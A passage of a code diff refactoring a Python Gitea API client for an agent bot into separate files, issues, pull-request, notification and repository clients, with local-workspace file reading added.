-        self, since: Optional[str] = None
-    ) -> list[dict[str, Any]]:
-        try:
-            url = f"{self.base_url}/api/v1/notifications"
-            params: dict[str, str] = {"all": "false"}
-            if since:
-                params["since"] = since
-            response = self.client.get(url, params=params)
-            response.raise_for_status()
-            notifications: list[dict[str, Any]] = response.json()
-
-            result: list[dict[str, Any]] = []
-            for n in notifications:
-                repo_info = n.get("repository") or {}
-                owner_info = repo_info.get("owner") or {}
-                owner_login = owner_info.get("login", "")
-                if owner_login == GITEA_ORG_FILTER:
-                    result.append(n)
-            return result
-        except Exception as e:
-            logger.error(f"Error listing unread notifications: {e}", exc_info=True)
-            return []
-
-    def mark_notification_as_read(self, thread_id: int) -> bool:
-        try:
-            url = f"{self.base_url}/api/v1/notifications/threads/{thread_id}"
-            response = self.client.patch(url)
-            response.raise_for_status()
-            return True
-        except Exception as e:
-            logger.error(
-                f"Error marking notification thread {thread_id} as read: {e}",
-                exc_info=True,
-            )
-            return False
-
-    def merge_pull_request(
-        self,
-        owner: str,
-        repo: str,
-        pull_number: int,
-        style: str = "squash",
-        title: str = "",
-        message: str = "",
-    ) -> bool:
-        try:
-            url = (
-                f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}/merge"
-            )
-            data: dict[str, Any] = {
-                "Do": style,
-                "MergeTitleField": title,
-                "MergeMessageField": message,
-            }
-            response = self.client.post(url, json=data)
-            response.raise_for_status()
-            return True
-        except Exception as e:
-            logger.error(
-                f"Error merging pull request {pull_number}: {e}", exc_info=True
-            )
-            raise

gitea/config.py

@@ -11,7 +11,7 @@ class AgentSettings(BaseSettings):
     gitea_url: str = ""
     gitea_token: str = ""
     gitea_repos_root: str = ""
-    agent_model_id: str = "qwen/qwen3.6-35b-a3b"
+    agent_model_id: str = "qwen3.6-35b-a3b-mtp@iq4_nl"
     agent_max_retries: int = 2
     agent_usernames: list[str] = ["agent-bot"]
     gitea_org_filter: str = "meeks"

gitea/files_client.py

@@ -0,0 +1,115 @@
+"""Files client for Gitea API operations."""
+
+import base64
+import logging
+
+import httpx
+
+
+logger: logging.Logger = logging.getLogger("gitea.files_client")
+
+
+class FilesClient:
+    """HTTP client for Gitea Files and Git Refs API operations."""
+
+    def __init__(self, base_url: str, client: httpx.Client) -> None:
+        """Initialize the FilesClient.
+
+        Args:
+            base_url: The base URL for the Gitea API.
+            client: The httpx client for making requests.
+        """
+        self.base_url: str = base_url
+        self.client: httpx.Client = client
+
+    def update_file(
+        self, owner: str, repo: str, path: str, message: str, content: str, branch: str
+    ) -> dict[str, object]:
+        """Update a file in a repository.
+
+        Args:
+            owner: Repository owner.
+            repo: Repository name.
+            path: File path.
+            message: Commit message.
+            content: File content.
+            branch: Branch name.
+
+        Returns:
+            The API response.
+        """
+        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/contents/{path}"
+        data: dict[str, str] = {
+            "message": message,
+            "content": base64.b64encode(content.encode()).decode(),
+            "branch": branch,
+            "new_branch": f"{branch}-update-{path}",
+        }
+        response = self.client.put(url, json=data)
+        response.raise_for_status()
+        return response.json()
+
+    def get_file_content(
+        self, owner: str, repo: str, path: str, ref: str = "master"
+    ) -> str | list[str]:
+        """Get the content of a file or directory.
+
+        Args:
+            owner: Repository owner.
+            repo: Repository name.
+            path: File or directory path.
+            ref: Git reference (branch, tag, commit).
+
+        Returns:
+            File content as string, or list of file names if path is a directory.
+        """
+        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/contents/{path}"
+        params: dict[str, str] = {"ref": ref}
+        response = self.client.get(url, params=params)
+        response.raise_for_status()
+        data = response.json()
+        if isinstance(data, list):
+            return [
+                item.get("content", "") for item in data if item.get("type") == "file"
+            ]
+        return (
+            base64.b64decode(data.get("content", "")).decode()
+            if data.get("content")
+            else ""
+        )
+
+    def update_ref(self, owner: str, repo: str, ref: str, sha: str) -> dict[str, object]:
+        """Update a git reference.
+
+        Args:
+            owner: Repository owner.
+            repo: Repository name.
+            ref: Reference name (e.g., heads/main).
+            sha: New SHA for the reference.
+
+        Returns:
+            The API response.
+        """
+        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/git/ref/{ref}"
+        data: dict[str, str] = {"sha": sha}
+        response = self.client.post(url, json=data)
+        response.raise_for_status()
+        return response.json()
+
+    def create_ref(self, owner: str, repo: str, ref: str, sha: str) -> dict[str, object]:
+        """Create a new git reference.
+
+        Args:
+            owner: Repository owner.
+            repo: Repository name.
+            ref: Reference name (e.g., refs/heads/new-branch).
+            sha: SHA for the reference.
+
+        Returns:
+            The API response.
+        """
+        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/git/refs"
+        data: dict[str, str] = {"ref": ref, "sha": sha}
+        response = self.client.post(url, json=data)
+        response.raise_for_status()
+        return response.json()

gitea/issues_client.py

@@ -0,0 +1,248 @@
+"""Issues client for Gitea API operations."""
+
+import logging
+from typing import Callable, Optional
+
+import httpx
+
+from .models import (
+    CommentModel,
+    IssueModel,
+    LabelModel,
+    RepositoryModel,
+    UserModel,
+)
+
+logger: logging.Logger = logging.getLogger("gitea.issues_client")
+
+
+class IssuesClient:
+    """HTTP client for Gitea Issues API operations."""
+
+    def __init__(
+        self,
+        base_url: str,
+        client: httpx.Client,
+        get_user: Callable[[], UserModel] | None = None,
+        get_repos: Callable[[], list[RepositoryModel]] | None = None,
+    ) -> None:
+        """Initialize the IssuesClient.
+
+        Args:
+            base_url: The base URL for the Gitea API.
+            client: The httpx client for making requests.
+            get_user: Optional callable to get the authenticated user.
+            get_repos: Optional callable to get all user repos.
+        """
+        self.base_url: str = base_url
+        self.client: httpx.Client = client
+        self._get_user: Callable[[], UserModel] | None = get_user
+        self._get_repos: Callable[[], list[RepositoryModel]] | None = get_repos
+
+    def list_repo_issues(
+        self, owner: str, repo: str, state: str = "open"
+    ) -> list[IssueModel]:
+        """List issues for a repository.
+
+        Args:
+            owner: Repository owner.
+            repo: Repository name.
+            state: Issue state filter (open, closed, all).
+
+        Returns:
+            List of issues matching the criteria.
+        """
+        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues?type=issues&state={state}"
+        response = self.client.get(url)
+        response.raise_for_status()
+        return [IssueModel(**item) for item in response.json()]
+
+    def get_issue(self, owner: str, repo: str, issue_number: int) -> IssueModel:
+        """Get a specific issue.
+
+        Args:
+            owner: Repository owner.
+            repo: Repository name.
+            issue_number: Issue number.
+
+        Returns:
+            The requested issue.
+        """
+        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}"
+        response = self.client.get(url)
+        response.raise_for_status()
+        return IssueModel(**response.json())
+
+    def close_issue(self, owner: str, repo: str, issue_number: int) -> IssueModel:
+        """Close an issue.
+
+        Args:
+            owner: Repository owner.
+            repo: Repository name.
+            issue_number: Issue number.
+
+        Returns:
+            The updated issue.
+        """
+        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}"
+        data: dict[str, str] = {"state": "closed"}
+        response = self.client.patch(url, json=data)
+        response.raise_for_status()
+        return IssueModel(**response.json())
+
+    def get_issue_comments(
+        self, owner: str, repo: str, issue_number: int
+    ) -> list[CommentModel]:
+        """Get comments on an issue.
+
+        Args:
+            owner: Repository owner.
+            repo: Repository name.
+            issue_number: Issue number.
+
+        Returns:
+            List of comments on the issue.
+        """
+        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}/comments"
+        response = self.client.get(url)
+        response.raise_for_status()
+        return [CommentModel(**item) for item in response.json()]
+
+    def list_assigned_issues(self, owner: str = "", repo: str = "") -> list[IssueModel]:
+        """List issues assigned to the authenticated user.
+
+        Args:
+            owner: Optional repository owner to filter by.
+            repo: Optional repository name to filter by.
+
+        Returns:
+            List of issues assigned to the authenticated user.
+        """
+        try:
+            if self._get_user is None or self._get_repos is None:
+                logger.error("get_user and get_repos callables are required")
+                return []
+
+            user = self._get_user()
+            if not user:
+                return []
+            username: str = user.login
+            if owner and repo:
+                response = self.client.get(
+                    f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues?assignee={username}&state=open&type=issues",
+                )
+                response.raise_for_status()
+                return [IssueModel(**item) for item in response.json()]
+            all_issues: list[IssueModel] = []
+            repos = self._get_repos()
+            for r in repos:
+                repo_owner = r.owner
+                repo_name = r.name
+                resp = self.client.get(
+                    f"{self.base_url}/api/v1/repos/{repo_owner}/{repo_name}/issues?assignee={username}&state=open&type=issues",
+                )
+                if resp.status_code == 200:
+                    for item in resp.json():
+                        issue = IssueModel(**item)
+                        # Backfill repository if Gitea omitted it
+                        if issue.repository is None:
+                            issue = issue.model_copy(update={"repository": r})
+                        all_issues.append(issue)
+            return all_issues
+        except Exception as e:
+            logger.error(f"Error listing assigned issues: {e}", exc_info=True)
+            return []
+
+    def assign_issue(
+        self, owner: str, repo: str, issue_number: int, username: str
+    ) -> IssueModel:
+        """Assign an issue to a user.
+
+        Args:
+            owner: Repository owner.
+            repo: Repository name.
+            issue_number: Issue number.
+            username: Username to assign.
+
+        Returns:
+            The updated issue.
+        """
+        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}"
+        data: dict[str, list[str]] = {"assignees": [username]}
+        response = self.client.patch(url, json=data)
+        response.raise_for_status()
+        return IssueModel(**response.json())
+
+    def create_issue(
+        self,
+        owner: str,
+        repo: str,
+        title: str,
+        body: str,
+        labels: list[str] | None = None,
+        assignees: list[str] | None = None,
+    ) -> IssueModel:
+        """Create a new issue.
+
+        Args:
+            owner: Repository owner.
+            repo: Repository name.
+            title: Issue title.
+            body: Issue body/description.
+            labels: Optional list of label IDs.
+            assignees: Optional list of usernames to assign.
+
+        Returns:
+            The created issue.
+        """
+        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues"
+        data: dict[str, str | list[str]] = {"title": title, "body": body}
+        if labels:
+            data["labels"] = labels
+        if assignees:
+            data["assignees"] = assignees
+        response = self.client.post(url, json=data)
+        response.raise_for_status()
+        return IssueModel(**response.json())
+
+    def add_comment(
+        self, owner: str, repo: str, issue_number: int, body: str
+    ) -> CommentModel:
+        """Add a comment to an issue.
+
+        Args:
+            owner: Repository owner.
+            repo: Repository name.
+            issue_number: Issue number.
+            body: Comment body.
+
+        Returns:
+            The created comment.
+        """
+        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}/comments"
+        data: dict[str, str] = {"body": body}
+        response = self.client.post(url, json=data)
+        response.raise_for_status()
+        return CommentModel(**response.json())
+
+    def add_label(
+        self, owner: str, repo: str, issue_number: int, label: str
+    ) -> LabelModel:
+        """Add a label to an issue.
+
+        Args:
+            owner: Repository owner.
+            repo: Repository name.
+            issue_number: Issue number.
+            label: Label name or ID.
+
+        Returns:
+            The added label.
+        """
+        url = (
+            f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{issue_number}/labels"
+        )
+        data: list[str] = [label]
+        response = self.client.post(url, json=data)
+        response.raise_for_status()
+        return LabelModel(**response.json())

gitea/models.py

@@ -1,6 +1,6 @@
 """Pydantic models for Gitea API entities."""
 
-from typing import Optional, Any
+from typing import Optional
 
 from pydantic import BaseModel, Field, field_validator
 
@@ -71,8 +71,8 @@ class PullRequestModel(BaseModel):
     updated_at: Optional[str] = None
     closed_at: Optional[str] = None
     merged_at: Optional[str] = None
-    head: dict[str, Any] = Field(default_factory=dict)
-    base: dict[str, Any] = Field(default_factory=dict)
+    head: dict[str, object] = Field(default_factory=dict)
+    base: dict[str, object] = Field(default_factory=dict)
     repository: Optional[RepositoryModel] = None
     comments: int = 0
     comments_url: Optional[str] = None
@@ -109,5 +109,5 @@ class GiteaConfig(BaseModel):
     base_url: str
     token: str
     repos_root: str
-    model_id: str = "qwen/qwen3.6-35b-a3b"
+    model_id: str = "qwen3.6-35b-a3b-mtp@iq4_nl"
     max_retries: int = 2

gitea/notifications_client.py

@@ -0,0 +1,78 @@
+"""Notifications client for Gitea API operations."""
+
+import logging
+from typing import Optional
+
+import httpx
+
+
+logger: logging.Logger = logging.getLogger("gitea.notifications_client")
+
+
+class NotificationsClient:
+    """HTTP client for Gitea Notifications API operations."""
+
+    def __init__(self, base_url: str, client: httpx.Client, org_filter: str) -> None:
+        """Initialize the NotificationsClient.
+
+        Args:
+            base_url: The base URL for the Gitea API.
+            client: The httpx client for making requests.
+            org_filter: Organization filter for notifications.
+        """
+        self.base_url: str = base_url
+        self.client: httpx.Client = client
+        self.org_filter: str = org_filter
+
+    def list_unread_notifications(
+        self, since: Optional[str] = None
+    ) -> list[dict[str, object]]:
+        """List unread notifications.
+
+        Args:
+            since: Optional ISO 8601 timestamp to filter notifications after.
+
+        Returns:
+            List of unread notifications for the configured organization.
+        """
+        try:
+            url = f"{self.base_url}/api/v1/notifications"
+            params: dict[str, str] = {"all": "false"}
+            if since:
+                params["since"] = since
+            response = self.client.get(url, params=params)
+            response.raise_for_status()
+            notifications: list[dict[str, object]] = response.json()
+
+            result: list[dict[str, object]] = []
+            for n in notifications:
+                repo_info = n.get("repository") or {}
+                owner_info = repo_info.get("owner") or {}
+                owner_login = owner_info.get("login", "")
+                if owner_login == self.org_filter:
+                    result.append(n)
+            return result
+        except Exception as e:
+            logger.error(f"Error listing unread notifications: {e}", exc_info=True)
+            return []
+
+    def mark_notification_as_read(self, thread_id: int) -> bool:
+        """Mark a notification as read.
+
+        Args:
+            thread_id: Notification thread ID.
+
+        Returns:
+            True if successful, False otherwise.
+        """
+        try:
+            url = f"{self.base_url}/api/v1/notifications/threads/{thread_id}"
+            response = self.client.patch(url)
+            response.raise_for_status()
+            return True
+        except Exception as e:
+            logger.error(
+                f"Error marking notification thread {thread_id} as read: {e}",
+                exc_info=True,
+            )
+            return False

gitea/prs_client.py

@@ -0,0 +1,469 @@
+"""Pull Requests client for Gitea API operations."""
+
+import logging
+from dataclasses import dataclass
+from typing import Callable
+
+import httpx
+
+from .models import (
+    CommentModel,
+    LabelModel,
+    PullRequestFileModel,
+    PullRequestModel,
+    RepositoryModel,
+    UserModel,
+)
+
+logger: logging.Logger = logging.getLogger("gitea.prs_client")
+
+
+@dataclass
+class ReviewRequest:
+    event: str
+    body: str
+
+
+class PullRequestsClient:
+    """HTTP client for Gitea Pull Requests API operations."""
+
+    def __init__(
+        self,
+        base_url: str,
+        client: httpx.Client,
+        get_user: Callable[[], UserModel] | None = None,
+        get_repos: Callable[[], list[RepositoryModel]] | None = None,
+    ) -> None:
+        """Initialize the PullRequestsClient.
+
+        Args:
+            base_url: The base URL for the Gitea API.
+            client: The httpx client for making requests.
+            get_user: Optional callable to get the authenticated user.
+            get_repos: Optional callable to get all user repos.
+        """
+        self.base_url: str = base_url
+        self.client: httpx.Client = client
+        self._get_user: Callable[[], UserModel] | None = get_user
+        self._get_repos: Callable[[], list[RepositoryModel]] | None = get_repos
+
+    def list_repo_pull_requests(
+        self, owner: str, repo: str, state: str = "open"
+    ) -> list[PullRequestModel]:
+        """List pull requests for a repository.
+
+        Args:
+            owner: Repository owner.
+            repo: Repository name.
+            state: PR state filter (open, closed, all).
+
+        Returns:
+            List of pull requests matching the criteria.
+        """
+        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls?state={state}"
+        response = self.client.get(url)
+        if response.status_code == 404:
+            return []
+        response.raise_for_status()
+        return [PullRequestModel(**item) for item in response.json()]
+
+    def get_pull_request(
+        self, owner: str, repo: str, pull_number: int
+    ) -> PullRequestModel:
+        """Get a specific pull request.
+
+        Args:
+            owner: Repository owner.
+            repo: Repository name.
+            pull_number: Pull request number.
+
+        Returns:
+            The requested pull request.
+        """
+        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}"
+        response = self.client.get(url)
+        response.raise_for_status()
+        return PullRequestModel(**response.json())
+
+    def close_pull_request(
+        self, owner: str, repo: str, pull_number: int
+    ) -> PullRequestModel:
+        """Close a pull request.
+
+        Args:
+            owner: Repository owner.
+            repo: Repository name.
+            pull_number: Pull request number.
+
+        Returns:
+            The updated pull request.
+        """
+        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}"
+        data: dict[str, str] = {"state": "closed"}
+        response = self.client.patch(url, json=data)
+        response.raise_for_status()
+        return PullRequestModel(**response.json())
+
+    def get_pull_request_comments(
+        self, owner: str, repo: str, pull_number: int
+    ) -> list[CommentModel]:
+        """Get comments on a pull request.
+
+        Args:
+            owner: Repository owner.
+            repo: Repository name.
+            pull_number: Pull request number.
+
+        Returns:
+            List of comments on the pull request.
+        """
+        url = (
+            f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{pull_number}/comments"
+        )
+        response = self.client.get(url)
+        response.raise_for_status()
+        return [CommentModel(**item) for item in response.json()]
+
+    def get_pull_request_diff(self, owner: str, repo: str, pull_number: int) -> str:
+        """Get the diff for a pull request.
+
+        Args:
+            owner: Repository owner.
+            repo: Repository name.
+            pull_number: Pull request number.
+
+        Returns:
+            The diff as a string.
+        """
+        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}/diff"
+        response = self.client.get(url)
+        response.raise_for_status()
+        return response.text
+
+    def get_pull_request_patch(self, owner: str, repo: str, pull_number: int) -> str:
+        """Get the patch for a pull request.
+
+        Args:
+            owner: Repository owner.
+            repo: Repository name.
+            pull_number: Pull request number.
+
+        Returns:
+            The patch as a string.
+        """
+        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}/patch"
+        response = self.client.get(url)
+        response.raise_for_status()
+        return response.text
+
+    def get_pull_request_files(
+        self, owner: str, repo: str, pull_number: int
+    ) -> list[PullRequestFileModel]:
+        """Get the files changed in a pull request.
+
+        Args:
+            owner: Repository owner.
+            repo: Repository name.
+            pull_number: Pull request number.
+
+        Returns:
+            List of files changed in the pull request.
+        """
+        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}/files"
+        response = self.client.get(url)
+        response.raise_for_status()
+        return [PullRequestFileModel(**item) for item in response.json()]
+
+    def list_assigned_pull_requests(
+        self, owner: str = "", repo: str = ""
+    ) -> list[PullRequestModel]:
+        """List all pull requests assigned to or authored by the authenticated user.
+
+        Args:
+            owner: Optional repository owner to filter by.
+            repo: Optional repository name to filter by.
+
+        Returns:
+            List of pull requests assigned to or authored by the user.
+        """
+        try:
+            if self._get_user is None or self._get_repos is None:
+                logger.error("get_user and get_repos callables are required")
+                return []
+
+            user = self._get_user()
+            if not user:
+                return []
+            username: str = user.login
+            if owner and repo:
+                response = self.client.get(
+                    f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls?state=open",
+                )
+                if response.status_code == 404:
+                    return []
+                response.raise_for_status()
+                all_prs: list[PullRequestModel] = [
+                    PullRequestModel(**pr) for pr in response.json()
+                ]
+                return [
+                    pr
+                    for pr in all_prs
+                    if (pr.assignee and pr.assignee.login == username)
+                    or (pr.user and pr.user.login == username)
+                ]
+            all_prs: list[PullRequestModel] = []
+            repos = self._get_repos()
+            for r in repos:
+                repo_owner = r.owner
+                repo_name = r.name
+                resp = self.client.get(
+                    f"{self.base_url}/api/v1/repos/{repo_owner}/{repo_name}/pulls?state=open",
+                )
+                if resp.status_code == 200:
+                    for pr_data in resp.json():
+                        pr = PullRequestModel(**pr_data)
+                        if (pr.assignee and pr.assignee.login == username) or (
+                            pr.user and pr.user.login == username
+                        ):
+                            # Backfill repository if Gitea omitted it
+                            if pr.repository is None:
+                                pr = pr.model_copy(update={"repository": r})
+                            all_prs.append(pr)
+            return all_prs
+        except Exception as e:
+            logger.error(f"Error listing assigned pull requests: {e}", exc_info=True)
+            return []
+
+    def create_pull_request(
+        self,
+        owner: str,
+        repo: str,
+        head: str,
+        base: str,
+        title: str,
+        description: str = "",
+    ) -> PullRequestModel:
+        """Create a new pull request.
+
+        Args:
+            owner: Repository owner.
+            repo: Repository name.
+            head: Head branch name.
+            base: Base branch name.
+            title: Pull request title.
+            description: Pull request description.
+
+        Returns:
+            The created pull request.
+        """
+        try:
+            url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls"
+            data: dict[str, str] = {
+                "title": title,
+                "body": description,
+                "head": head,
+                "base": base,
+            }
+            response = self.client.post(url, json=data)
+            response.raise_for_status()
+            return PullRequestModel(**response.json())
+        except Exception as e:
+            logger.error(f"Error creating pull request: {e}", exc_info=True)
+            raise
+
+    def update_pull_request(
+        self,
+        owner: str,
+        repo: str,
+        pull_number: int,
+        title: str | None = None,
+        body: str | None = None,
+        state: str | None = None,
+    ) -> PullRequestModel:
+        """Update a pull request.
+
+        Args:
+            owner: Repository owner.
+            repo: Repository name.
+            pull_number: Pull request number.
+            title: Optional new title.
+            body: Optional new body.
+            state: Optional new state.
+
+        Returns:
+            The updated pull request.
+        """
+        try:
+            url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}"
+            data: dict[str, str | None] = {}
+            if title is not None:
+                data["title"] = title
+            if body is not None:
+                data["body"] = body
+            if state is not None:
+                data["state"] = state
+            response = self.client.patch(url, json=data)
+            response.raise_for_status()
+            return PullRequestModel(**response.json())
+        except Exception as e:
+            logger.error(f"Error updating pull request: {e}", exc_info=True)
+            raise
+
+    def create_pr_via_tea(
+        self, owner: str, repo: str, title: str, description: str, head: str, base: str
+    ) -> PullRequestModel:
+        """Create a pull request (alias for create_pull_request).
+
+        Args:
+            owner: Repository owner.
+            repo: Repository name.
+            title: Pull request title.
+            description: Pull request description.
+            head: Head branch name.
+            base: Base branch name.
+
+        Returns:
+            The created pull request.
+        """
+        return self.create_pull_request(owner, repo, head, base, title, description)
+
+    def approve_pr(
+        self, owner: str, repo: str, pr_number: int, comment: str
+    ) -> dict[str, object]:
+        """Approve a pull request.
+
+        Args:
+            owner: Repository owner.
+            repo: Repository name.
+            pr_number: Pull request number.
+            comment: Review comment.
+
+        Returns:
+            The review response.
+        """
+        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pr_number}/reviews"
+        review: ReviewRequest = ReviewRequest(event="APPROVED", body=comment)
+        response = self.client.post(url, json={"event": review.event, "body": review.body})
+        response.raise_for_status()
+        return response.json()
+
+    def request_changes_pr(
+        self, owner: str, repo: str, pr_number: int, comment: str
+    ) -> dict[str, object]:
+        """Request changes on a pull request.
+
+        Args:
+            owner: Repository owner.
+            repo: Repository name.
+            pr_number: Pull request number.
+            comment: Review comment.
+
+        Returns:
+            The review response.
+        """
+        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pr_number}/reviews"
+        review: ReviewRequest = ReviewRequest(event="REQUEST_CHANGES", body=comment)
+        response = self.client.post(url, json={"event": review.event, "body": review.body})
+        response.raise_for_status()
+        return response.json()
+
+    def get_pr_reviews(
+        self, owner: str, repo: str, pr_number: int
+    ) -> list[dict[str, object]]:
+        """Get reviews for a pull request.
+
+        Args:
+            owner: Repository owner.
+            repo: Repository name.
+            pr_number: Pull request number.
+
+        Returns:
+            List of reviews.
+        """
+        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pr_number}/reviews"
+        response = self.client.get(url)
+        if response.status_code == 404:
+            return []
+        response.raise_for_status()
+        return response.json()
+
+    def dismiss_review_pr(
+        self, owner: str, repo: str, pr_number: int, review_id: int, message: str
+    ) -> dict[str, object]:
+        """Dismiss a review on a pull request.
+
+        Args:
+            owner: Repository owner.
+            repo: Repository name.
+            pr_number: Pull request number.
+            review_id: Review ID to dismiss.
+            message: Dismissal message.
+
+        Returns:
+            The dismissal response.
+        """
+        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pr_number}/reviews/{review_id}/dismissals"
+        data: dict[str, str] = {"message": message}
+        response = self.client.post(url, json=data)
+        response.raise_for_status()
+        return response.json()
+
+    def add_label_pr(
+        self, owner: str, repo: str, pr_number: int, label: str
+    ) -> LabelModel:
+        """Add a label to a pull request.
+
+        Args:
+            owner: Repository owner.
+            repo: Repository name.
+            pr_number: Pull request number.
+            label: Label name or ID.
+
+        Returns:
+            The added label.
+        """
+        url = f"{self.base_url}/api/v1/repos/{owner}/{repo}/issues/{pr_number}/labels"
+        data: list[str] = [label]
+        response = self.client.post(url, json=data)
+        response.raise_for_status()
+        return LabelModel(**response.json())
+
+    def merge_pull_request(
+        self,
+        owner: str,
+        repo: str,
+        pull_number: int,
+        style: str = "squash",
+        title: str = "",
+        message: str = "",
+    ) -> bool:
+        """Merge a pull request.
+
+        Args:
+            owner: Repository owner.
+            repo: Repository name.
+            pull_number: Pull request number.
+            style: Merge style (squash, merge, rebase).
+            title: Optional merge commit title.
+            message: Optional merge commit message.
+
+        Returns:
+            True if merge was successful.
+        """
+        try:
+            url = (
+                f"{self.base_url}/api/v1/repos/{owner}/{repo}/pulls/{pull_number}/merge"
+            )
+            data: dict[str, str] = {
+                "Do": style,
+                "MergeTitleField": title,
+                "MergeMessageField": message,
+            }
+            response = self.client.post(url, json=data)
+            response.raise_for_status()
+            return True
+        except Exception as e:
+            logger.error(
+                f"Error merging pull request {pull_number}: {e}", exc_info=True
+            )
+            raise

gitea/repos_client.py

@@ -0,0 +1,71 @@
+"""Repositories client for Gitea API operations."""
+
+import logging
+
+import httpx
+
+from .models import RepositoryModel, UserModel
+
+
+logger: logging.Logger = logging.getLogger("gitea.repos_client")
+
+
+class ReposClient:
+    """HTTP client for Gitea Repositories API operations."""
+
+    def __init__(self, base_url: str, client: httpx.Client, org_filter: str) -> None:
+        """Initialize the ReposClient.
+
+        Args:
+            base_url: The base URL for the Gitea API.
+            client: The httpx client for making requests.
+            org_filter: Organization filter for repositories.
+        """
+        self.base_url: str = base_url
+        self.client: httpx.Client = client
+        self.org_filter: str = org_filter
+
+    def list_all_user_repos(self) -> list[RepositoryModel]:
+        """List all repositories for the authenticated user.
+
+        Returns:
+            List of repositories belonging to the configured organization.
+        """
+        try:
+            url = f"{self.base_url}/api/v1/user/repos"
+            response = self.client.get(url)
+            response.raise_for_status()
+            repos: list[dict[str, object]] = response.json()
+            # Filter to ONLY configured organization repos, include mirrors
+            seen: set[str] = set()
+            result: list[RepositoryModel] = []
+            for r in repos:
+                full_name = r.get("full_name", "")
+                if (
+                    full_name
+                    and full_name not in seen
+                    and (r.get("owner") or {}).get("login") == self.org_filter
+                ):
+                    seen.add(full_name)
+                    result.append(RepositoryModel(**r))
+            return result
+        except Exception as e:
+            logger.error(f"Error listing user repos: {e}", exc_info=True)
+            return []
+
+    def get_authenticated_user(self) -> UserModel:
+        """Get the authenticated user.
+
+        Returns:
+            The authenticated user.
+
+        Raises:
+            RuntimeError: If the user cannot be retrieved.
+        """
+        try:
+            response = self.client.get(f"{self.base_url}/api/v1/user")
+            response.raise_for_status()
+            return UserModel(**response.json())
+        except Exception as e:
+            logger.error(f"Error getting authenticated user: {e}", exc_info=True)
+            raise RuntimeError(f"Could not get authenticated user: {e}") from e

gitea/tools/file_tools.py

@@ -1,12 +1,18 @@
+import logging
+import os
+from pathlib import Path
 from typing import Any
 from gitea.client import GiteaClient
 
+logger: logging.Logger = logging.getLogger("gitea-file-tools")
+
 
 class FileTools:
     """Tools for Gitea file/content operations."""
 
-    def __init__(self, client: GiteaClient) -> None:
+    def __init__(self, client: GiteaClient, repo_path: str | None = None) -> None:
         self._client = client
+        self._repo_path: str | None = repo_path
 
     def _paginate_lines(
         self,
@@ -35,6 +41,15 @@ class FileTools:
             )
         return result
 
+    def _resolve_local_path(self, owner: str, repo: str, path: str) -> str | None:
+        """Resolve owner/repo/path to a local filesystem path if the repo is cloned."""
+        if not self._repo_path:
+            return None
+        local_repo: str = os.path.join(self._repo_path, owner, repo)
+        if os.path.isdir(local_repo):
+            return os.path.join(local_repo, path)
+        return None
+
     def get_file_content(
         self,
         owner: str,
@@ -45,16 +60,38 @@ class FileTools:
     ) -> str:
         """Get the content of a file from a Gitea repository with line paging.
 
+        Checks the local workspace first if repo_path is configured, falling
+        back to the remote API when the file is not available locally.
+
         Args:
             offset: 1-indexed line to start from (default 1).
             limit: Maximum number of lines to return (default 250).
         """
+        local_path: str | None = self._resolve_local_path(owner, repo, path)
+        if local_path and os.path.isfile(local_path):
+            try:
+                with open(local_path, "r", encoding="utf-8", errors="replace") as f:
+                    raw: str = f.read()
+                return self._paginate_lines(raw, offset, limit)
+            except Exception as exc:
+                logger.debug(
+                    f"Local read failed for {owner}/{repo}/{path}: {exc}",
+                    exc_info=True,
+                )
+
         try:
-            content = self._client.get_file_content(owner, repo, path)
+            content = self._client.files.get_file_content(owner, repo, path)
             raw: str = "\n".join(content) if isinstance(content, list) else content
             return self._paginate_lines(raw, offset, limit)
         except Exception as e:
-            return f"Error getting file content: {str(e)}"
+            logger.error(
+                f"Failed to get file content for {owner}/{repo}/{path}: {e}",
+                exc_info=True,
+            )
+            return (
+                f"Error: Could not retrieve file '{path}' from {owner}/{repo}. "
+                f"Verify the file path and branch are correct. Details: {e}"
+            )
 
     def get_file_content_with_ref(
         self,
@@ -67,28 +104,76 @@ class FileTools:
     ) -> str:
         """Get file content at a specific git ref with line paging.
 
+        Checks the local workspace first using ``git show`` if the repo is
+        cloned locally, falling back to the remote API.
+
         Args:
             ref: Branch, tag, or commit SHA (default 'master').
             offset: 1-indexed line to start from (default 1).
             limit: Maximum number of lines to return (default 250).
         """
+        if self._repo_path:
+            local_repo: str = os.path.join(self._repo_path, owner, repo)
+            if os.path.isdir(local_repo):
+                try:
+                    import subprocess
+
+                    result = subprocess.run(
+                        ["git", "-C", local_repo, "show", f"{ref}:{path}"],
+                        capture_output=True,
+                        text=True,
+                        timeout=15,
+                    )
+                    if result.returncode == 0:
+                        return self._paginate_lines(result.stdout, offset, limit)
+                except Exception as exc:
+                    logger.debug(
+                        f"Local git show failed for {owner}/{repo}/{path}@{ref}: {exc}",
+                        exc_info=True,
+                    )
+
         try:
